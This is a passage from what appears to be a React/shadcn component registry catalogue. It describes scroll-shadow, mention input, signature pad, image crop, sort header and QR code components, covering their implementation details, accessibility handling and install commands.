cut-off table reads as a complete table, and people file bugs about missing columns that were on screen the whole time. The only way to know is to measure scrollWidth against clientWidth and keep re-measuring, which is why this is a component and not three utility classes. Official shadcn/ui has none of that machinery. Grepping all sixty-three of its registry entries (sixty-two fetchable; questionnaire is listed but 404s), scrollWidth, clientWidth, offsetWidth, scrollLeft, scrollTop, ResizeObserver and MutationObserver are every one of them a zero hit. The word overflow appears in twenty-two components and is a Tailwind class each time — something that clips or scrolls, never a measurement of whether anything is spilling. scroll-area itself is a forty-nine-line Radix wrapper that restyles the scrollbar: no overflow detection, no edge shading, and one tabIndex in the whole registry (in sidebar). The version everyone writes first listens for scroll alone, and that is precisely backwards. It means the fade is missing until you scroll, and the moment the fade earns its keep is the one before anybody has touched the box: a table that arrives from a fetch already too wide, a sidebar opening and squeezing the page, a filter that adds a column, a details row expanding, a panel inside a tab that was display:none when it mounted. It looks right in development, where you scroll the thing you just built, and it is wrong on arrival for everyone else. So the position is re-read from five other places besides the scroll event, each covering a way the answer changes without one: the box being resized (which also covers it becoming visible, since that is a resize from zero), a child changing its own size, nodes added or removed anywhere inside, an image or iframe finishing loading (caught in the capture phase, since load does not bubble), and a web font swapping in and re-flowing every line. All of them funnel through one requestAnimationFrame, so a burst of mutations costs a single measurement, and state changes only when one of six booleans does — scrolling a long table end to end re-renders twice, not once a frame. Two measurement bugs are fixed that survive most rewrites. The first is right-to-left: the CSSOM puts scrollLeft at 0 at the initial position of an RTL scroller and runs it negative going left, so a fresh Arabic or Hebrew table reports scrollLeft === 0 with half its columns hidden off to the left — and every implementation that reads 0 as "nothing behind us" paints the fade on the wrong side, on first paint, where nobody is looking for it. The writing direction is resolved once, and only when there is horizontal overflow to resolve it for. The second is sub-pixel: layout is fractional while scrollWidth and clientWidth are rounded integers, so a box scrolled fully to the end lands a few tenths of a pixel short and a `hidden > 0` test leaves the end fade painted over the last column forever, on exactly the screens the author does not own. A one-pixel threshold settles it, and it is a prop. The fade is a mask on the content, not a gradient laid over it. An overlay has to be painted in the page background colour to look like a fade, so it has to be told what that colour is — and it is then wrong inside a card, wrong on a striped table, wrong over an image, and wrong in dark mode the day someone adds one, because the gradient stop was hardcoded once and never re-checked. A mask makes the content itself fall away, which is correct on every background without being told about any of them. When a box fits, no mask is emitted at all rather than an all-opaque one, since masking costs a stacking context and a composited layer; and when both axes scroll the two gradients are combined with mask-composite: intersect, because the default is add and two layers each opaque down their own middle would union into a mask that fades nothing but the four corners. It also takes a tab stop only while it actually scrolls. A div with overflow: auto and no focusable content inside cannot be reached and therefore cannot be scrolled without a mouse — a plain table of text or a wide code block is simply unavailable to a keyboard, which is what axe reports as scrollable-region-focusable. The usual fix is a permanent tabIndex={0}, which buys that at the cost of a dead tab stop on every one of these boxes that happens to fit; since the overflow is already being measured, the stop can exist exactly when it is useful. Pass aria-label and the box is announced as a named region as well, so a screen reader user is told what they have landed in rather than an anonymous group. The focus ring is drawn on the wrapper, outside the mask, because a ring on the masked element would fade out along with the content at the very edges it is meant to trace. The API is orientation ("horizontal", "vertical" or the default "both", which fades whichever axis turns out to scroll), size for the fade length, threshold, focusable, viewportRef and viewportClassName for the scrolling element itself, onEdgesChange, and data-more-top / -right / -bottom / -left plus data-scrollable on the wrapper so you can hang an arrow button or a shadow of your own off CSS. The unused axis is set to hidden rather than left visible, because CSS promotes visible back to auto as soon as the other axis is not, and a horizontal scroller written as overflow-x-auto alone grows a vertical scrollbar the first time a cell wraps. The wrapper is a column flex box so that a max-height put on it actually reaches the scroller instead of spilling, and it shrinks to zero in both axes so the widest table cell cannot dictate the width of the page around it. useScrollEdges, scrollShadowMask and the pure readScrollEdges are exported for a scroller you lay out yourself. Within pulld it is the piece that goes around virtual-list, table-like content and code-block; it shares its measure-then-observe discipline with scroll-progress, which reads how far down a page a reader is rather than what is hidden past an edge, and it is distinct from infinite-scroll, which loads more rows when you reach the end where this only says that an end is not yet reached. One file, no dependencies at all, and no colour of its own — the fade is the absence of paint, so light and dark follow for free.

npx shadcn@latest add https://pulld.pages.dev/r/scroll-shadow.json
@a
AG

Mention Input

The comment box where typing `@` opens a list of people and picking one types their handle in — the completion that lives inside the prose, anchored under the caret rather than under the field. Reach for it wherever text is addressed to somebody: a code-review or pull-request comment, an issue or ticket description, a chat, DM or channel composer, a task assignment note, a document or design comment thread, a support reply, a release note that credits people, and an AI prompt box where `@` should pull in a file, a table or a teammate. The trigger is a prop, so the same field does `#` for issues, milestones or channels, `/` for commands and `:` for emoji. Common asks it answers: "mention input react", "@ mention textarea", "react mentions component", "autocomplete inside a textarea", "tag someone in a comment box", "@mention dropdown react", "slack style mention input", "github comment @ autocomplete", "shadcn mention input", "shadcn textarea autocomplete", "react-mentions alternative", "tribute.js alternative", "textarea caret position javascript", "get caret coordinates in textarea", "position dropdown at cursor react", "how to know where the cursor is in a textarea", "mirror div caret", "insert text at cursor react", "insertText execCommand react", "keep undo history when inserting text", "cmd+z broken after setState textarea", "mention autocomplete ignores email addresses", "detect @ but not in email", "IME enter selects autocomplete item", "日本語入力 変換確定 enter 誤爆", "メンション入力 react", "テキストエリア キャレット 座標". Official shadcn/ui has none of this, and the measurement is not close. Fetching all sixty-three registry entries today (sixty-two are fetchable; questionnaire is listed and 404s on both style tracks) and grepping 245 KB of source: mention, selectionStart, selectionEnd, setSelectionRange, execCommand, insertText, contentEditable, autocomplete and aria-activedescendant are every one of them zero hits. The single caret match is input-otp drawing a fake blinking one. Its textarea is twenty-three lines of styled element, and its combobox is a @base-ui/react popover hung off its own input group — a field whose whole value is the thing you picked, which is the opposite shape from a paragraph with three names in it. So an agent asked for a mention box builds it out of a plain textarea and a div, and the four things that make it hard are exactly the four it will get wrong. The first is that the menu has to appear at the caret, and the browser will not say where the caret is. There is no API for it: selectionStart is an index into a string and nothing converts one to pixels. The only way is to lay the text out a second time in a hidden mirror wearing the field's font, padding, border, width and wrapping, put a marker where the caret would be, and measure that — which is why the version that skips it pins the menu to a corner of the field, and offers suggestions next to line one for an `@` typed on line three. Details that decide whether the mirror is right: a copied border-width lays out as nothing without a border-style, getComputedStyle resolves width to the content box whichever box-sizing is in force (so copying box-sizing shrinks the column and rewraps every line), a trailing newline needs something after it or the last line never exists, and the field's own scroll has to be subtracted because the text moves under a caret that does not. The second is that finding the trigger is a word-boundary problem, not a search. Scan backwards for an `@` and every email address in the box opens the menu — and it is not an edge case, it is the first thing anyone pastes into a comment. A trigger welded to the end of a word is not a trigger. The other end matters as much: the query has to stop at the first space, or one stray `@` turns the rest of the paragraph into a search term and the list quietly goes empty. Both rules live in an exported pure function, findMentionQuery, along with a bound on how far back it scans, so a 40 KB comment costs the same as a short one. The third is the keyboard, and it is where this component makes its strongest claim. While the menu is open, Up, Down and Enter belong to the list; while it is closed they belong to the textarea, and Shift+Enter is a new line either way. But there is a third owner nobody accounts for: an open IME conversion. Enter commits the reading, the arrows walk the candidate window, and a mention box that takes those keys leaves a Japanese, Chinese or Korean writer unable to finish a word — they press Enter to accept 山田 and a name they never chose lands in the text instead. Every key is checked against isComposing and against keyCode 229, which is what the browsers that clear isComposing early report instead, and compositionstart is tracked on top of both. The menu itself keeps updating during the conversion, because suppressing it would leave that same writer typing blind; it is the keys that are borrowed, not the list. The fourth is undo, and it is invisible until someone hits Cmd+Z. Writing the new value with setState looks identical on screen and empties the browser's undo stack, so one undo after picking a name wipes the entire comment rather than stepping back over the insert — because as far as the browser is concerned, nobody typed anything. The insert goes through execCommand("insertText") instead, deprecated and still the only way to put text into a field as though a person had, so the undo entry exists and the input event fires like any keystroke. Where that is unavailable the fallback writes through the prototype's value setter rather than the element, because React installs its own value property on the node to track changes: assign to the element and the tracker updates as a side effect, the input event that follows is discarded as "no change", and a controlled field ends up showing text its owner never received. Accessibility is the ARIA 1.2 editable-combobox pattern, complete rather than approximated: the textarea carries role="combobox" with aria-expanded present whether the menu is open or shut, aria-controls and aria-autocomplete="list", and the highlighted row is tracked with aria-activedescendant so DOM focus never leaves the text — moving it into the list would take the caret with it and there would be nothing left to insert into. The cost is stated plainly: a field with that role is announced as a combobox even while no menu is open, which is the price of the menu being reachable at all. The live region follows char-counter's discipline rather than the reflex — announcing the count on every keystroke makes a screen reader read numbers over the letters being typed, so the count is spoken once when the menu opens, and again only when the matches run out. That last one matters more than it looks: no matches usually closes the menu, and a writer who cannot see it vanish is otherwise told nothing at all about the name they just typed. The API: items of { id, label, value?, description?, disabled? } — value is the text typed in when the label has a space in it, since `@Ada Lovelace` is not a token anything can find again and `@ada` is. Controlled with value and onChange or uncontrolled with defaultValue, on a real <textarea> that forwards its ref, so labels, react-hook-form and native validation keep working. filter takes your own matcher or false for a server-side one, and onQueryChange reports the query as it changes (and null when it closes) for the async lookup, with loading and showEmpty for the states that lookup goes through. Also trigger, maxItems, maxQueryLength, allowSpaces for names with spaces, toInsertText, renderItem, and labels for every string. The default matcher folds accents so "jose" finds José, and ranks a match at the start of a word above one buried inside it, so "@love" puts Ada Lovelace above Clover. useMentionInput returns the whole behaviour as props to spread onto a field you lay out yourself — it takes onInput rather than onChange precisely so it does not collide with the value plumbing you already have — and findMentionQuery, defaultMentionFilter, insertMentionText and measureCaretPosition are exported for the times you want one part of it. Within pulld it is the third layer on the comment box: autosize-textarea is the field that grows, char-counter is the count underneath it, and this is what happens inside it — spread the hook onto AutosizeTextarea and all three compose. It is distinct from multi-select and tag-input, which are fields whose value is a list you assembled; here the value is prose that happens to have names in it. Distinct from command-palette too, which owns the whole screen to run a command rather than living in one field. One file, zero dependencies — not even an icon — and every colour is a shadcn token, so it follows light and dark.

npx shadcn@latest add https://pulld.pages.dev/r/mention-input.json
✕or type

Signature Pad

The box at the bottom of a form where somebody signs with a finger, a mouse or a stylus — and, beside it, the field where somebody who cannot draw types their name instead. Reach for it wherever a screen asks for assent that is meant to bind: a delivery or handover receipt, a rental or equipment checkout, a treatment or research consent form, a waiver and liability release, a visitor or contractor sign-in at a front desk, a timesheet or job-completion sheet a technician gets signed on a tablet, a lease or invoice approval, a school permission slip, and the light end of e-signature where a full contract platform is far more than the job needs. Common asks it answers: "signature pad react", "react signature canvas", "draw signature component", "e-signature input react", "sign here box react", "capture signature on tablet", "signature-pad alternative", "react-signature-canvas alternative", "shadcn signature pad", "shadcn signature input", "canvas drawing react component", "why is my canvas blurry", "canvas blurry on retina", "devicePixelRatio canvas react", "canvas high dpi scaling", "smooth line drawing canvas", "canvas drawing looks jagged", "pointermove skipping points", "getCoalescedEvents react", "line breaks when mouse leaves canvas", "setPointerCapture drawing", "canvas drawing scrolls page on mobile", "touch-action none canvas", "signature to png data url", "export canvas as svg", "trim whitespace around signature", "transparent signature png invisible", "accessible signature field", "signature pad screen reader", "canvas accessibility alternative", "署名 パッド react", "サイン 入力 canvas", "canvas がぼやける retina". Official shadcn/ui has nothing to build this from, and the measurement is not close: fetching all sixty-three registry entries today (sixty-two are fetchable — questionnaire is listed and 404s on both style tracks) and grepping 240 KB of source, getContext, toDataURL, toBlob, pointerdown, pointermove, setPointerCapture, getCoalescedEvents, devicePixelRatio, beginPath, lineTo, quadraticCurveTo, touch-action and signature are every one of them a zero hit. The only match for canvas at all is ten occurrences in sidebar, and every one is the Tailwind variant name offcanvas. There is no component in official shadcn that draws — not one — so an agent asked for a signature field builds it from a bare canvas and a mousemove listener, and the four things that make this hard are exactly the four it will get wrong. The first is that a canvas has two sizes and the wrong one is the obvious one. The CSS size is how big the element looks; the width and height attributes are how many pixels actually exist, and they stay at 300x150 no matter what the stylesheet says. Left alone, a phone at 3x renders the box at a third of its own resolution and scales the result up, so the strokes come out soft — and a signature is a thin line whose weight and wobble are the whole of what identifies it, which makes this the one component where blur is not cosmetic. The attributes are set to the CSS size times the device pixel ratio, capped so a 4x screen does not allocate sixteen pixels of memory per CSS pixel, and the context is set back to CSS coordinates with setTransform rather than scale — scale multiplies into the transform already there, so a pad that survives two resizes draws at 4x and the signature walks off the box. The second is that pointermove is not the pointer. One move event is delivered per animation frame, but the digitiser sampled the pen many times inside that frame and the browser keeps the ones it skipped. A quick signature is where it shows: at 60Hz a fast flick is four or five points and comes out as a zigzag, while getCoalescedEvents returns the twenty that were really seen. Safari has been observed returning an empty list, so the event itself is the fallback rather than the assumption. Sampling alone is still not enough, because the corners in a joined-up polyline are in the sample rate rather than in the hand: each sample becomes the control point of a quadratic and the curve runs through the midpoints between them, so the line is tangent to the path the hand took and has no corners of its own. During a stroke only the newest segment is drawn, so a long signature costs the same per sample as a short one. The third is that a canvas is a blank to a screen reader, and no aria-label fixes it — the label names the box, and the task is to make a mark inside it. Drawing is a pointer gesture, so a pad that only draws is a form that a keyboard, switch or screen reader user cannot complete, on precisely the documents where being unable to complete it has consequences. A typed full name is the equivalent that is already recognised in practice, so it sits beside the box as a real labelled field rather than as a fallback bolted on: either path produces a value and an image, typing renders in a script face on the canvas so a sighted user sees the mark too, and the two are mutually exclusive because there is one signature. required is handled the same way round: it goes on the typed field while nothing is signed and lifts the moment something is drawn — never on the hidden input, which is barred from constraint validation outright, so the attribute parses, the browser ignores it, and the form submits unsigned. The fourth is that the line breaks when the hand leaves the box, which is where the descender of a real signature goes. setPointerCapture keeps the events coming until the pointer lifts, wherever that happens; the capture is checked before being released, because releasing one that pointercancel already took throws; a second finger landing mid-stroke is ignored rather than allowed to overwrite the stroke in progress; and touch-action is none, or the first downward stroke on a phone scrolls the page instead of drawing while the browser waits to find out which was meant. Strokes are kept as data, not as pixels, which is what makes the rest work. Undo is a slice. A resize — a sidebar opening, a tab becoming visible, a container query firing, none of them a window resize — is observed with a ResizeObserver and replayed, where a pixel-only pad loses the signature to the attribute assignment that resizes it. And the export is resolution-independent: signatureToSvg emits a real SVG document, because a signature is stored small and shown large, printed onto a contract or scaled into a PDF, and a raster of a 160-pixel box has one resolution forever. trim crops to the ink so a stored signature is not mostly empty box, with the bound taken over the Bézier control points — a quadratic stays inside the triangle of its own three, so it is exact without solving the curve — plus half the pen width, without which the trim slices the outermost stroke in half. toDataURL is there for the APIs that want a raster, and its background is documented rather than assumed: a transparent PNG of black ink is invisible the moment it lands on anything dark. Every string that reaches the SVG is escaped, since a name is free text and a document built by concatenation is the oldest bug there is. The API: value or defaultValue as a discriminated { type: "drawn", strokes, width, height } or { type: "typed", name } — the drawn form carries the box it was drawn in, because strokes are CSS pixels and without the box they cannot be laid out again on the receipt screen that shows them later. Plus onChange, penColor which defaults to the theme's own text colour, penWidth, height, maxPixelRatio, disabled, allowTyped, required, and name to post the signature through a plain HTML form as an SVG data URL. The ref exposes clear, undo, isEmpty, getValue, toSVG and toDataURL for a submit handler. strokeGeometry, strokePathData, signatureBounds, isSignatureEmpty, signatureToSvg and backingSize are exported as pure functions, so a stored signature can be rendered on a server that has no canvas at all. Within pulld it is the first component that draws: file-dropzone takes an image in and upload-list lists what arrived, but nothing until now made a mark. It sits next to type-to-confirm, which is the other way a screen asks somebody to mean it — typing a phrase to authorise a destructive action, where this captures assent that gets stored and shown back. One file, zero dependencies, not even an icon, and every colour is a shadcn token, so light and dark follow on their own.

npx shadcn@latest add https://pulld.pages.dev/r/signature-pad.json

Image Crop

The step that comes straight after a photo is chosen: the picture sits behind a frame of the shape the product needs, and you drag it about and pinch or scroll to zoom until the right part is in the window. Reach for it wherever an upload has to end up a fixed shape — a profile photo or avatar, a team or workspace logo, a cover or banner image, an OG/social preview card, a product or listing photo, a thumbnail for a video or article, a group or channel icon, an ID or document photo being squared up before it is sent, a header image in a CMS, and the crop step of any onboarding or import wizard. Common asks it answers: "image crop react", "image cropper component", "avatar cropper", "profile picture crop react", "crop image before upload", "react-easy-crop alternative", "react-image-crop alternative", "cropperjs alternative", "shadcn image crop", "shadcn avatar upload", "crop to square react", "circular crop avatar", "zoom and pan image react", "pinch to zoom crop", "canvas drawImage crop", "get cropped image as blob", "cropped image is offset", "crop is off by a few pixels", "crop coordinates wrong scale", "image rotated after upload", "photo sideways after crop", "exif orientation canvas", "createImageBitmap imageOrientation", "canvas blank on iphone", "canvas too large ios safari", "resize image in browser before upload", "createObjectURL memory leak", "canvas toBlob securityerror", "tainted canvas crop", "accessible image cropper", "crop image keyboard only", "画像 クロップ react", "アバター 切り抜き", "アップロード 前に リサイズ", "写真が横向きになる exif". Official shadcn/ui has nothing to build this from, and the measurement is not close: fetching every entry in its registry today — 63 listed, 62 fetchable, questionnaire is indexed and 404s on both style tracks — and grepping 212 KB of source, crop, naturalWidth, FileReader, createImageBitmap, drawImage, getContext, toDataURL, toBlob, imageOrientation, exif, devicePixelRatio, createObjectURL, setPointerCapture, pinch and the string <canvas are every one of them a zero hit. The only match for zoom anywhere is eleven occurrences of Tailwind's zoom-in-95 / zoom-out-95 overlay animation on dialogs and menus. Its aspect-ratio component is a six-line re-export of the Radix primitive that holds a box at a shape and knows nothing about a picture inside it, and avatar renders an image that has already been made square by somebody else. So an agent asked for a crop step builds it from a bare canvas, and the three things that make this hard are exactly the three it gets wrong. The first is that the coordinates on screen are not the coordinates being cut. A drag is measured in CSS pixels on a 320px-wide preview; the crop is taken from an 8000px original, and the factor between them has to be applied exactly once, in one direction. Applied the wrong way or against a frame width measured before a sidebar opened, the saved picture is offset from the one that was on screen — close enough to ship and wrong enough to notice. This keeps the value in the source image's own pixels ({ x, y, width, height }), so the crop survives a resize, a phone with a different screen and a round trip through a database, and derives the screen geometry from it rather than the other way round. The frame is measured with a ResizeObserver rather than once on mount, because a dialog or a sidebar changes its width without the window doing anything. The second is EXIF orientation, and it produces the bug report everybody recognises: the preview is the right way up and the saved avatar is lying on its side. A phone stores the photo in the sensor's orientation with a tag saying which way to turn it; browsers have applied that tag to <img> for years and drawImage of the same file has not always agreed, so the picture rotates somewhere between the box that was cropped and the canvas it was cut into. createImageBitmap(blob, { imageOrientation: "from-image" }) is the line that settles it, and here the result is checked against the preview before it is trusted — if the bitmap and the element disagree about which side is the long one, the element wins, because being faithful to what the user actually chose beats being upright. The third is that the output is otherwise unbounded. The obvious way to cut a rectangle out is a canvas the size of the source: for an 8000x6000 photo that is 48 megapixels, 192 MB of RGBA before anything is drawn, and the destination is a 256px avatar. iOS Safari does not throw there — it drops the backing store and hands back a blank image, or kills the tab. So the canvas is made at the size of the output and the crop is scaled into it in a single drawImage with high-quality smoothing, never allocating more than the picture actually wanted. Pass output={{ width: 512 }} for a slot you have to fill, or leave it and the longest side is capped at 2048; a crop is never upscaled, which would only make a bigger file out of the same detail. It is operable without a pointer, which is the part hand-rolled croppers skip and the reason a sign-up step becomes one a whole class of people cannot finish. The frame takes focus and answers the arrow keys (Shift for a longer step) and + / -, and under it are real range inputs — zoom, plus a horizontal and a vertical position that announce themselves as percentages — with the position pair sr-only until something in it has focus, so a screen reader always reaches them while a sighted keyboard user sees them appear only on tabbing in rather than facing two sliders that duplicate the arrow keys. Pointer capture keeps a drag alive past the edge of the frame, two-finger pinch zooms about the point between the fingers, a wheel zooms about the cursor through a non-passive listener (React's own wheel handler is passive, where preventDefault does nothing and the page scrolls behind the cropper), touch-action is none so the first drag on a phone does not scroll the page instead, and the browser's native image drag is turned off so a pan does not hand the file to whatever is underneath. The API: src takes a URL or the File/Blob straight from the input — pass the Blob when you have one, and the object URL is made and revoked for you, which is the leak every upload screen has. Then aspect, shape="round" to draw the frame as a circle (the export stays the rectangle: an avatar is displayed round by the page that shows it, and baking the circle in means a transparent PNG that grows black corners the first time something flattens it), maxZoom, grid, controls, disabled, crossOrigin, and labels for translation. value/defaultValue and onChange work controlled or uncontrolled over the crop rectangle, and onChangeEnd fires once a gesture settles — the one to re-encode a preview in, since onChange fires per pointer frame. The ref exposes getCrop, setCrop, reset, getImageSize, toCanvas, toBlob and toDataURL. coverCrop, clampCrop, cropZoom, zoomCropTo and outputSize are exported as pure functions, so the same rectangle can be re-cut on a server that has no DOM. There are deliberately no resize handles: free-form selection with eight grips is a different component doing a different job, and the frame here is the output shape. Within pulld it completes the upload path: file-dropzone takes the file in, this shapes it, upload-list shows the rows while it goes up. It sits beside image-comparison, which puts two pictures of the same thing under one divider, and signature-pad, the other component here that draws. One file, zero dependencies, not even an icon, and every colour is a shadcn token except the thirds guides, which are a translucent white on purpose because what they lie on is a photograph rather than a themed surface. Light and dark follow on their own.

npx shadcn@latest add https://pulld.pages.dev/r/image-crop.json
NameSizeAda2.1Bo7.4Cy0.9

Sort Header

One sortable column heading for a table you already have: press it and the rows re-order, press it again for the other direction, press it a third time and the table goes back to the order it arrived in. Reach for it wherever a list of rows is long enough that people want it arranged their own way — an admin users or accounts table, an orders, invoices or billing-history list, search results, a dashboard's data table, a logs or audit-trail view, a file or document browser, a products or inventory grid, a leaderboard or ranking, a tickets/issues queue, transactions, and any report with a date, size, count or amount column. Common asks it answers: "sortable table header react", "table column sorting react", "click column header to sort", "sort table by column react", "shadcn sortable table", "shadcn table sorting", "shadcn data table sort without tanstack", "tanstack table alternative for just sorting", "react-table is too much for one column", "sort indicator arrow table header", "three state sort asc desc none", "how to clear sorting in a table", "reset table sort to default order", "aria-sort react", "accessible sortable table", "screen reader table sorting", "aria-sort not announced", "two columns both say ascending", "table header button accessibility", "th onclick not keyboard accessible", "sort numbers in strings correctly", "Item 10 sorts before Item 2", "natural sort react", "localeCompare numeric true", "Intl.Collator sort table", "accented names sort to the bottom", "null values first when sorting descending", "empty cells at top when sorting", "sorting mutates state array react", "table not re-rendering after sort", "テーブル ソート 見出し react", "並び替え カラム". Official shadcn/ui gives you nothing to start from here, and the measurement is not close: fetching every entry in its registry today — 63 listed, 62 fetchable, questionnaire is indexed and 404s on both style tracks — and grepping all 211,725 bytes of source, aria-sort, ariaSort, onSort, sortable, sortBy, sortDirection, ascending, descending, localeCompare, Intl.Collator, toSorted, ArrowUpDown and ChevronsUpDown are every one of them a zero hit. Its table component is 2,859 bytes of six styling wrappers in which the word sort never appears once. So every sortable table gets hand-rolled, and three things go wrong each time. The first is that the sort has two states when it needs three. Flipping between ascending and descending quietly takes something away: once a column has been pressed, the order the table came in — almost always the meaningful one, newest first, or a relevance rank the server computed — cannot be got back. There is no third press, no button that says stop sorting, and reloading the page is the only way out, which is exactly what people do. Here the cycle is first direction, opposite, gone, and gone hands back null so you render the rows as they came. Which direction comes first is per column, because ascending is the wrong first guess for a date, a size, a count or a score, where the first press is meant to mean newest or biggest and answers with the oldest and smallest instead. The second is aria-sort, which is not an attribute saying a column can be sorted — it says how the table is ordered right now, so it belongs on exactly one header at a time and reads none on the others. Held as a flag on each header, the failure always has the same shape: pressing a second column sets the new one and forgets to unset the old, and a screen reader is told two different columns are each sorting the table, which looks perfectly fine on screen. This takes the whole table's sort state as one value and derives each header's share of it, so that state cannot be represented. It also puts the attribute on the <th> rather than on the button inside it: aria-sort is defined for columnheader, and on a role=button it is silently dropped — it validates, it looks done, and it announces nothing. The third is the hit area. Putting onClick on a <th> gives a table that sorts with a mouse and for nobody else: nothing to tab to, nothing answering Enter or Space, and a cell that gives no hint it does anything, because a <th> is not interactive and no amount of ARIA makes it so. The heading here is a real button stretched across the cell — the cell gives up its padding to it — so it gets the keyboard, the focus ring and the announcement for free, and the pressable area matches the thing that looks pressable. Sorting a table also announces nothing on its own: the rows are replaced, focus has not moved, and aria-sort changing on an element is not an event any reader speaks. So a press puts "Table sorted by Name, ascending." through a polite live region — from the header that was actually pressed, not from the one that just lost the sort — and clears it again a moment later, since a live region inside a header cell would otherwise become part of that cell's own content and be read back on every future visit. The comparison is exported separately as sortRows, compareValues and isBlankValue, because the browser and the server that paginates the same table have to agree on what the order is. Descending is the negated comparison, never the ascending result reversed: reversing floats every empty cell to the top the moment the arrow flips, and scrambles the rows that tied on the way up, so the same three Pending rows appear in a different order each way and the table reads as if it is shuffling itself. Blank cells — null, undefined, empty string, NaN, an invalid Date, but not 0 and not false — stay at the bottom in both directions. Text goes through Intl.Collator with numeric ordering, so Item 2 comes before Item 10 and Ångström does not land below Zulu where nobody scrolls; dates compare as instants and booleans as false-then-true. It never sorts the array you pass it, which is the bug that renders nothing at all, and it is meant to be run over the rows the server sent rather than the ones already on screen — sorting what is displayed lets the previous sort survive inside every group of ties, so the table depends on the order of presses rather than on its state. A disabled heading keeps its tab stop and ignores presses instead of taking the disabled attribute, which would drop it out of the tab order and lose a keyboard user's place the moment the table starts loading. align="end" right-aligns a numeric column and moves the arrow to the label's left so the heading stays flush with the figures beneath it, and the unsorted double-chevron is visible at rest rather than on hover, because hover does not exist on a phone and it is the only thing saying the column can be sorted at all. useSortHeader, nextSortState and ariaSortFor are exported for a header laid out as divs or one that already holds a filter menu. Within pulld it is the table counterpart to sortable-list, which drags rows into an order a person chooses rather than computing one, and it sits beside scroll-shadow and virtual-list, the other two pieces a long table wants. One file, one column, your <table> stays yours, and its only dependency is lucide-react for the arrows.

npx shadcn@latest add https://pulld.pages.dev/r/sort-header.json

QR Code

A scannable QR code, drawn as SVG, for putting a link, a Wi-Fi network or a 2FA secret on screen where a phone can pick it up. Reach for it wherever something has to get from this screen onto someone's device — a two-factor enrolment screen, a Wi-Fi guest network on a poster or a hotel card, an event ticket, a boarding pass or a venue check-in, a payment or invoice link, a table ordering code, a menu, a device or kiosk pairing step, an app-store or download link, an invite or referral link, a shipping or returns label, a warranty or product registration, a business card or conference badge, a receipt, a signup link on a slide, and any hand-off from a desktop app to the phone in someone's pocket. Common asks it answers: "qr code react", "react qr code component", "generate qr code react", "shadcn qr code", "qr code generator react", "qrcode.react alternative", "react-qr-code alternative", "qrcode npm alternative", "qr code without dependencies", "qr code no npm package", "qr code svg react", "qr code canvas vs svg", "qr code server component", "qr code next.js app router", "qr code ssr", "wifi qr code generator", "share wifi password qr code", "WIFI: qr format", "otpauth qr code", "2fa qr code react", "totp enrollment qr", "google authenticator qr code", "qr code not scanning", "qr code won't scan", "qr code scans on some phones", "quiet zone qr code", "qr code margin", "qr code dark mode", "inverted qr code not scanning", "white qr code on dark background", "qr code error correction level", "qr code with logo in middle", "qr code capacity limit", "qr code too long", "qr code changes size when text changes", "qr code utf-8", "qr code japanese characters", "qr code emoji", "qr code blurry", "qr code print quality", "qr code accessibility", "qr code screen reader", "qr code aria-label", "QRコード react", "QR コード 生成", "二次元コード コンポーネント", "WiFi QRコード". Official shadcn/ui has nothing here and the measurement is not close: fetching every entry in its registry today — 63 listed, 62 fetchable, questionnaire is indexed and 404s on both style tracks — and searching all 245,417 bytes of it, the strings qr, QR, Reed, Galois, errorCorrection, quietZone, finderPattern, alignmentPattern, shapeRendering, crispEdges, otpauth, wifi, barcode and scanner are every one of them a zero hit. So this gets solved by adding a package, and that is the first thing worth knowing about this one: the encoder is in the file. Three packing modes chosen by content, all four correction levels, versions 1 to 40, Reed–Solomon over GF(256), block interleaving, and all eight masks scored — no dependencies at all, not even an icon, in a registry whose 83 other components have never needed more than lucide-react. Because a QR encoder's bugs are invisible, correctness here is measured rather than asserted. Every grid this ships was rendered to a PNG and read back by Apple's Vision framework, an independent decoder sharing no code with it: 426 codes on 2026-09-12, covering all 40 versions at all four levels, every mask forced, the mode and capacity boundaries, UTF-8 and emoji, a version 40 code at its 2,953-byte maximum, and 240 random payloads at the shipped defaults, each decoded string compared byte for byte with its input. That sweep found a real bug — one error-correction table was a row short from version 32 up, so nine versions produced codes that rendered perfectly and decoded to nothing — and the verified grids are frozen in the test suite so it cannot come back. Beyond the encoding, three things decide whether a code actually works. The first is the quiet zone: a scanner finds a code by finding its border, so four light modules of margin are not decoration, and a code butted against other content renders beautifully and is simply never seen. Nothing catches that except pointing a real camera at it, so the default is the required value and the light ground is drawn as part of the SVG rather than left to whatever is behind it. The second is colour, which is functional rather than decorative and therefore does not follow your theme by default: dark modules on a light ground is what the format specifies and what decoders assume, inverted codes are read by some phones, fewer cheap scanners and no printer at all. So the code stays black on white in dark mode — which is what a boarding pass, a wallet app and a bank statement all do — and moduleClassName and backgroundClassName are there when you have tested otherwise. The third is SVG rather than canvas: a canvas is a bitmap that resamples badly the moment it is scaled or printed, and to anything that is not an eye it is a blank rectangle. This carries role="img" and a label, and deliberately does not read the payload aloud unless you ask — sixty characters of URL letter by letter helps nobody, and the two things most often in a code are a Wi-Fi password and a 2FA secret. A QR is something you point a second device at, so put the payload on the page as well: a real link, or a code beside a copy button. It has no hooks, no state and no effects, so there is no "use client" on it: it renders on the server and ships zero JavaScript for what is a static picture, with a small internal cache keeping a re-rendering parent from re-encoding. errorCorrection defaults to M and is boosted automatically to the strongest level that still fits the same version, since the slack would otherwise be spent on padding — the code is the same size and survives more damage. minVersion holds the size still for a payload that changes while it is on screen, like a rotating token, which would otherwise resize the code mid-scan. A payload too long to fit throws from encodeQr — a truncated code still scans and hands back the wrong string — while the component renders a fallback instead of taking the layout down. Two payload builders come with it, both for the traps rather than the strings: wifiPayload escapes the ; : , and backslash that a generated password contains and that otherwise truncate the network details silently, and quotes an all-hex value so it is not read as a raw key; otpauthUri puts the issuer in both the label prefix and the query parameter, because different authenticator apps read different ones, and escapes the two halves of the label separately so the colon separator survives while a + or a space in the address does not break it. encodeQr and qrPath are exported for a code you want to rasterise on a server, put on a label, or draw yourself. Within pulld it completes the two-factor setup screen alongside otp-input and recovery-codes, and sits beside copy-button and copy-field, which are what you put next to it for everyone who cannot scan it.

npx shadcn@latest add https://pulld.pages.dev/r/qr-code.json

Share Button

